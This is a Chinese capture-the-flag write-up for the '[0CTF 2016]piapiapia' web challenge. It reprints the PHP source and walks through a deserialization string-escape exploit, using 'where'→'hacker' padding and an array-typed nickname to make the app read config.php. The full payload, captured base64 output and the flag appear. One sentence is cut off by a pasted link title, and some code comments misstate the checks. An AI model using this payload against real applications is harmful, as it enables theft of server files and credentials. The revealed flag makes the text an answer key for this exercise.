[0CTF 2016]piapiapia

打开环境,是个登陆页面:

[0CTF 2016]piapiapia

 

 一开始以为是SQL注入,结果尝试了很久都没成功,在源码中也没发现,那就用dirsearch扫描一下,得到一个www.zip,里面有几个文件:

[0CTF 2016]piapiapia

 register.php:

<?php 	require_once('class.php'); 	if($_POST['username'] && $_POST['password']) { 		$username = $_POST['username']; 		$password = $_POST['password'];  		if(strlen($username) < 3 or strlen($username) > 16)  			die('Invalid user name');  		if(strlen($password) < 3 or strlen($password) > 16) //username和password的长度都要大于3小于16 			die('Invalid password'); 		if(!$user->is_exists($username)) {//is_exists和register函数都是class.php中的内置函数 			$user->register($username, $password); 			echo 'Register OK!<a href="index.php">Please Login</a>';		 		} 		else { 			die('User name Already Exists'); 		} 	} 	else { ?>

是注册页面,对应的就是这个页面:

        [0CTF 2016]piapiapia

再看看update.php:

<?php 	require_once('class.php');//包含class.php 	if($_SESSION['username'] == null) { 		die('Login First');	 	} 	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {//$_FILES是经由 HTTP POST 文件上传而提交至脚本的变量。  		$username = $_SESSION['username']; 		if(!preg_match('/^d{11}$/', $_POST['phone']))//电话长度为11 			die('Invalid phone');  		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))//邮箱地址只能为数字,字母和@ 			die('Invalid email'); 		 		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//nickname只能有字母和数字且长度大于10 			die('Invalid nickname');  		$file = $_FILES['photo']; 		if($file['size'] < 5 or $file['size'] > 1000000)//图片尺寸要在5到100 			die('Photo size error');  		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将文件移动到upload/md5($file['name'] 		$profile['phone'] = $_POST['phone']; 		$profile['email'] = $_POST['email']; 		$profile['nickname'] = $_POST['nickname']; 		$profile['photo'] = 'upload/' . md5($file['name']);  		$user->update_profile($username, serialize($profile));//update_profile函数也是class.php中的自定义函数,其中一个参数为变量$profile序列化结果。 		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; 	} 	else { ?>

就是完善[0CTF 2016]piapiapia

再看profile.php:

<?php 	require_once('class.php');//包含class.php 	if($_SESSION['username'] == null) { 		die('Login First');	 	} 	$username = $_SESSION['username']; 	$profile=$user->show_profile($username);//show_profile函数也是class.php中的函数 	if($profile  == null) { 		header('Location: update.php');//信息为空就重定向到update.php 	} 	else { 		$profile = unserialize($profile);将变量$profile反序列化 		$phone = $profile['phone']; 		$email = $profile['email']; 		$nickname = $profile['nickname']; 		$photo = base64_encode(file_get_contents($profile['photo']));//看到file_get_contents函数就像到用它读取源码。 ?>

包含flag但无法访问的config.php:

<?php 	$config['hostname'] = '127.0.0.1'; 	$config['username'] = 'root'; 	$config['password'] = ''; 	$config['database'] = ''; 	$flag = ''; ?>

最后是class.php,也是最长的:

<?php require('config.php');//包含config.php  class user extends mysql{//创建函数mysql的子类user 	private $table = 'users';  	public function is_exists($username) { 		$username = parent::filter($username);//调用父类mysql中的filter函数  		$where = "username = '$username'"; 		return parent::select($this->table, $where);//调用父类mysql中的select函数 	} 	public function register($username, $password) { 		$username = parent::filter($username); 		$password = parent::filter($password);//调用父类mysql中的filter函数  		$key_list = Array('username', 'password'); 		$value_list = Array($username, md5($password)); 		return parent::insert($this->table, $key_list, $value_list); 	} 	public function login($username, $password) { 		$username = parent::filter($username); 		$password = parent::filter($password);  		$where = "username = '$username'"; 		$object = parent::select($this->table, $where); 		if ($object && $object->password === md5($password)) { 			return true; 		} else { 			return false; 		} 	} 	public function show_profile($username) { 		$username = parent::filter($username);  		$where = "username = '$username'"; 		$object = parent::select($this->table, $where); 		return $object->profile; 	} 	public function update_profile($username, $new_profile) { 		$username = parent::filter($username); 		$new_profile = parent::filter($new_profile);  		$where = "username = '$username'"; 		return parent::update($this->table, 'profile', $new_profile, $where); 	} 	public function __tostring() { 		return __class__; 	} }  class mysql { 	private $link = null;  	public function connect($config) { 		$this->link = mysql_connect( 			$config['hostname'], 			$config['username'],  			$config['password'] 		); 		mysql_select_db($config['database']); 		mysql_query("SET sql_mode='strict_all_tables'");  		return $this->link; 	}  	public function select($table, $where, $ret = '*') { 		$sql = "SELECT $ret FROM $table WHERE $where"; 		$result = mysql_query($sql, $this->link);//mysql_query() 函数执行一条 MySQL 查询 		return mysql_fetch_object($result);//PHP 操作 MySQL 的函数 mysql_fetch_object() 用于从结果集中取得一行作为对象,成功返回一个对象,否则返回 FALSE  	}  	public function insert($table, $key_list, $value_list) { 		$key = implode(',', $key_list); 		$value = ''' . implode('','', $value_list) . ''';  		$sql = "INSERT INTO $table ($key) VALUES ($value)"; 		return mysql_query($sql); 	}  	public function update($table, $key, $value, $where) { 		$sql = "UPDATE $table SET $key = '$value' WHERE $where"; 		return mysql_query($sql);//update函数的作用则是将它存放到了mysql数据库当中 	}  	public function filter($string) {//filter函数的作用是将update_profile函数的参数用正则再过滤了一遍 		$escape = array(''', '\\'); 		$escape = '/' . implode('|', $escape) . '/'; 		$string = preg_replace($escape, '_', $string);//将传入的值中的""和"\"替换为"_"  		$safe = array('select', 'insert', 'update', 'delete', 'where'); 		$safe = '/' . implode('|', $safe) . '/i'; 		return preg_replace($safe, 'hacker', $string);//将传入的值中的'select', 'insert', 'update', 'delete', 'where'替换为hacker,其中只有where为5个字符,其余都和hacker一样6个字符。 	} 	public function __tostring() { 		return __class__; 	} } session_start();//读取名为PHPSESSID(如果没有改变默认值)的cookie值,若读取到PHPSESSID这个COOKIE,创建$_SESSION变量,并从相应的目录中(可以再php.ini中设置)。 $user = new user();//实例化user $user->connect($config); ?>

里面出现了extends和parent::,什么意思呢?

这就涉及父类和子类,什么是父类和子类呢?下面是网上的解释:

        父类和子类,就例如:老子和儿子,有着父子关系。而这里指的父子关系,其实也就是一种包含关系。打个比方,在我们现实生活中,学生Student是一个很大的概念,而U_Student大学生是属于学生中的一种,这里的学生即为父类,大学生即为子类。

父类和子类区别在哪?
        学生和大学生都会有学习Study这个方法,但是大学生还会有自己特有的Study方法,两者还是有一定区别的,大学生的学习相较于其他学生来说,是更自由的。假如现在已经有一个学生(Student)类,然后我还要写一个大学生(U_Student)类,然后大学生UStudent类里有很多方法和Student里的方法都相同,但是还是有一小部分不同,怎样解决呢?难道还要重新写一个大学生类,并且重复敲一遍和学生类中一样的代码吗?那样浪费了时间和精力,并且浪费了存储空间,是很不划算的。所以,就有了“继承”。
子类继承父类,就是子类能引用父类中的某些东西。继承的关键字是extends

例如:
public class Student(){}//父类
public class U_Student extends Student(){}//子类继承了父类
当子类和父类用一个同名方法,但是子类的实现却和父类不同,用到"方法重写"。
重写是指方法定义相同,但是实现不同,存在于父子类之间。
例如:
 

//父类 public class Student(){ //学习方法         public void study(){         System.out.println("我通过听老师讲课学习");         } }  //子类 public class UStudent extends Student(){         public void study(){         System.out.println("我通过自习去学习");         } }

被继承的方法和属性可以通过用同样的名字重新声明被覆盖。但是如果父类定义方法时使用了 final,则该方法不可被覆盖。可以通过 parent:: 来访问被覆盖的方法或属性。

整个逻辑就是:register->login->update->profile,而class.php中是定义了一些要用到的函数

我们要读取config.php从而得到flag,读取config.php需要替换$profile[‘photo’],也就是要让config,php成为序列化的一部分,可以利用的是反序列化字符串逃逸。将$profile[''photo] = "config.php",这样config.php的内容就能base64出来,但跟进发现其实$profile['photo']是修改不了的。

之所以会想到字符串逃逸,是因为保存序列化结果之前,还会再次过滤:

[0CTF 2016]piapiapia

[0CTF 2016]piapiapia 

[0CTF 2016]piapiapia 

经过filter函数替换时如果将where替换为h浅析php反序列化字符串逃逸_Lemon's blog-CSDN博客

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将文件移动到upload/md5($file['name'] 		$profile['phone'] = $_POST['phone']; 		$profile['email'] = $_POST['email']; 		$profile['nickname'] = $_POST['nickname']; 		$profile['photo'] = 'upload/' . md5($file['name']);  		$user->update_profile($username, serialize($profile));

这个$profile变量正常传入值后,序列化得到:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

然后我们将config.php从nickname塞入";}s:5:"photo";s:10:"config.php";}

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";s:3:"123";s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

但是nickname存在长度限制:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)//nickname只能有字母和数字且长度大于10 			die('Invalid nickname');

所以这样直接是不行的,我们要先解决这个长度问题,我们知道如果传递数组进去,那么preg_match会返回flase,就能绕过长度限制。

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
[0CTF 2016]piapiapia

 接着修改nickname的值:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}

细节的老哥可能就发现了";}s:5:"photo";s:10:"config.php";}它比原本预期的答案前面多了一个},因为将nickname改为数组时,它在序列化时不会像字符一样闭合,所以要加多一个"}"

替换后:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:12:"12345@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

这样一来,s:204:"34*hacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}红色的部分就都作为nickname的值存在,蓝色部分因为s只有204个字符就没有意义了,逃逸成功。

所以最后nickname传的值为:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

验证一下:

 [0CTF 2016]piapiapia

 接着注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:

[0CTF 2016]piapiapia

将图片的base64:

 PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezE4YTU5MThmLTI5MDktNDZkYy1hYjRkLTNmZWMxMjQ2NWE2OX0nOwo/Pgo=

 解码得:

<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'qwertyuiop'; $config['database'] = 'challenges'; $flag = 'flag{18a5918f-2909-46dc-ab4d-3fec12465a69}'; ?>

得到答案。

版权声明:玥玥 发表于 2021-07-28 3:42:15。
转载请注明:[0CTF 2016]piapiapia | 女黑客导航